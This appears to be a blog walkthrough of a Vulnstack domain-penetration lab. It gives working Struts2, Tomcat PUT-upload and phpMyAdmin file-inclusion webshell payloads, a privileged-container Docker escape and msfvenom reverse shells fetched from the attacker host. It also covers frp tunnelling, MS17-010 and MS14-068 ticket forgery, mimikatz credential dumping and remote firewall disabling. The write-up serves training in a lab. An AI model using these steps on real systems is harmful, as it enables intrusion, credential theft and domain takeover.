环境搭建
strusts漏洞利用
phpmyadmin getshell
tomcat 漏洞利用
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
网卡配置我配的是这两个
给web配
给win7和DC配置的都是VMnet5
初始密码
web: ubuntu:ubuntu
win7: douser:Dotest123
DC: administrator:Test2008
但是DC的密码过期了需要自己改下
攻击机:kali 192.168.10.128
web: ubuntu 192.168.10.130
192.168.183.131
win7: 192.168.183.129
DC : 192.168.183.130
Web服务器为ubuntu,漏洞需要我们手动开启
s2-045
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
CVE-2017-12615(tomcat put上传)
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cve-2018-12613(phpmyadmin文件包含漏洞)
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
外网渗透
信息收集
端口扫描
nmap -T4 -A 192.168.10.129
开放了
22 ssh
2001 struts2
2002 tomcat
2003 phpmyadmin
漏洞利用
struts2
访问之后是一个文件上传
使用脚本扫描一下:https://github.com/Abs1n7he/Struts2scan
发现存在漏洞
然后直接利用工具上传webshell
上传webshell
蚁剑连接getshell
tomcat
搜8.5.19会有这个版本的漏洞
本来想找工具直接用的,但是没有找到好用的工具
手上shell
先抓包,然后改为PUT方式上传木马
上传php的码但是不能用
然后上传jsp的码,但是上传不能成功,需要进行绕过 /绕过 文件流绕过 ……
蚁剑连接getshell
phpmyadmin
可以我参考我前面文章的phpmyadmin getshell姿势
https://f14g-orz.github.io/2023/07/27/phpmyadmin%E5%90%8E%E5%8F%B0mysqlgetshell%E5%A7%BF%E5%8A%BF/
发现文章里的方法都不可以,是因为用户的权限太低
发现版本 4.8.1
搜索phpmyadmin 4.81,发现这个版本有一个 CVE-2018-12613
有以下三种利用方式:
- 任意文件包含
需要先在根目录下创建一个文件,内容随意写入
然后访问,就能访问到文件的内容
?target=db_datadict.php%253f/../../../../../../../../cc.txt
- 任意代码执行
先查看当前数据库的路径,创建数据表f14g,表值是
show global variables like "%datadir%";
CREATE TABLE f14g(code varchar(100));
INSERT INTO f14g(code) VALUES("<?php @eval(POST['f14g']); ?>");
f14g=phpinfo();&?target=db_sql.php%253f/../../../../../../var/lib/mysql/test/f14g.frm
但是我这里没有成功
- session文件包含
先在数据库执行sql语句 SELECT ‘‘;
这样这个查询语句就写入了session,也就是将 可执行代码 phpinfo();写入了session中
session的文件名为sess_+sessionid. session路径的视环境而定
php生成session
时,会生成在/tmp
目录下,且以sess_
开头
payload
?target=db_datadict.php%253f../../../../../../../../../../tmp/sess_dfb5475880cfc82ea881acccaa0942a7
可以看到成功执行
然后再写入php一句话木马
select "<?php @eval(GET['f14g']);?>";
?target=db_datadict.php%253f../../../../../../../../../../tmp/sess_dfb5475880cfc82ea881acccaa0942a7&f14g=ls
我们虽然getshell了,但是通过使用命令发现好多命令都不可以使用,我们得到的shell是个不完整的shell
docker逃逸
判断根目录下是否含有.dockerenv文件
ls /.dockerenv
查看系统进程的cgroup信息是否存在docker字符串
cat /proc/1/cgroup
或
cat /proc/self/cgroup
而且还有很多命令不能使用
利用特权模式逃逸
Docker 高危启动参数 – privileged 特权模式启动容器 当操作者执行docker run –privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
查看磁盘文件 fdisk -l
建一个目录:mkdir /test
挂载磁盘到新建目录:mount /dev/sda1 /test
切换根目录:chroot /test
到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 ssh 了。
cd /test/home/ubuntu/.ssh
cat id_rsa
复制id_rsa的内容
vim id_rsa
# 将其复制进来保存退出
sss
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# 得到密码ubuntu
ssh ubuntu@192.168.10.130
到这里应该会得出web主机的密码,但是我这里没有出我就直接用了(ubuntu)
ssh ubuntu@192.168.10.130
输入密码连接成功
切换成root
docker逃逸可以参考
https://www.cnblogs.com/hellobao/articles/17248614.html
https://blog.csdn.net/woodwhale/article/details/129815797
获取web主机权限
getshell之后通过通过上线msf获取主机权限
生成木马
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.128 lport=1111 -f elf > shell.elf
开启web服务
python -m http.server 80
长传到Ubuntu上
wget http://192.168.10.128/shell.elf
设置监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.10.128
set lport 1111
run
把生成的木马上传并赋予权限执行
chmod 777 shell.elf
./shell.elf
赋予权限并执行
然后就拿到了meterpreter
内网渗透
内网信息收集
查看路由
run get_local_subnets
可以确定183网段即为内网网段
然后我们需要配置代理扫描内网存活主机以及开放端口
添加路由
run autoroute -s 192.168.183.0/24
run autoroute -p
然后直接扫描内网存活的主机
for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
发现有三个存活主机 131那个是Ubuntu的
说明还有两个其他的主机
配置代理
kali攻击机上开启web服务
python -m http.server 80
然后把kali上的frp上传到Ubuntu上
wget http://192.168.10.128/frp_0.51.3_linux_amd64.tar.gz
tar -zxvf frp_0.51.3_linux_amd64.tar.gz
在kali上配置frps.ini,并开启frps
在Ubuntu上配置frpc.ini,并开启frpc
在proxychains的配置文件也端口也改为 7777
然后对这两台机器进行端口扫描
proxychains nmap 192.168.183.129 -Pn -T4 -sV
是台win7
proxychains nmap 192.168.183.130 -Pn -T4 -sV
发现两台机器都开放445端口,利用msf自带模块检测是否含有ms17_010
拿下内网主机
msfconsole
setg proxies socks5:127.0.0.1:7777
search ms17_010
use 3
set rhosts 192.168.183.129
run
set rhosts 192.168.183.130
run
然后用ms17_010打
msfconsole
setg proxies socks5:127.0.0.1:7777
search ms17_010
use 0
set rhosts 192.168.183.129
set payload windows/x64/meterpreter/bind_tcp
run
成功拿到meterpreter,129这台win算是拿下(但是攻击2次才成功)
但是用ms17_010打 130的机子没有打成功应该是开了防火墙
横向移动
信息收集
首先进入shell,收集一些信息
用chcp 65001解除乱码
net view
发现有两台机子,win7我们已经拿下
可以ping一下另一台机子
ping WIN-ENS2VR5TR3N
发现该机子就是130那台机子
攻击130
然后查看电脑上都有什么文件
发现一堆好东西
先用mimikatz抓取密码
mimikatz.exe
sekurlsa::logonpasswords
username:douser
password:Dotest123
domain:DEMO.COM
SID: S-1-5-21-979886063-1111900045-1414766810-1107
然后利用已有的ms14_068,拿到生成TGT票据
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码
kerberos::purge #清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list #查看当前机器凭证
kerberos::ptc TGT_douser@demo.com.ccache #<上图中生成的票据文件>将票据注入到内存中
net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$
可以看到已经访问到WIN-ENS2VR5TR3N文件了,然后可以把木马传到WIN-ENS2VR5TR3N机子上
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.111.128 lport=6666 -f exe > hack.exe
先把hack.exe上传到win7
upload /home/kali/Desktop/msf/hack.exe C:\\Users\\douser\\Desktop
然后再把hack.exe上传到WIN-ENS2VR5TR3N
copy hack.exe \\WIN-ENS2VR5TR3N\c$
dir \\WIN-ENS2VR5TR3N\c$
发现已经上传成功
先关闭130机子的防火墙
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
在kali上设置监听
setg proxies socks5:127.0.0.1:7777
use exploit/multi/handler
set lport 6666
set rhost 192.168.183.130
run
利用sc创建服务来执行木马文件
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\hack.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
拿到meterpreter
但是由于开始代理meterpreter很容易断,争分夺秒的读取密码
load kiwi
kiwi_cmd sekurlsa::logonpasswords
username:administrator
domain:DEMO
password:asdASD123!@#
然后通过nmap扫描发现3389端口没开
通过注册表的方式打开
发现3389已经打开
然后尝试远程连接
rdesktop 192.168.183.130
DEMO\administrator
asdASD123!@#
连接成功,成功打穿
参考文章:
https://blog.csdn.net/zy15667076526/article/details/116059592?spm=1001.2014.3001.5502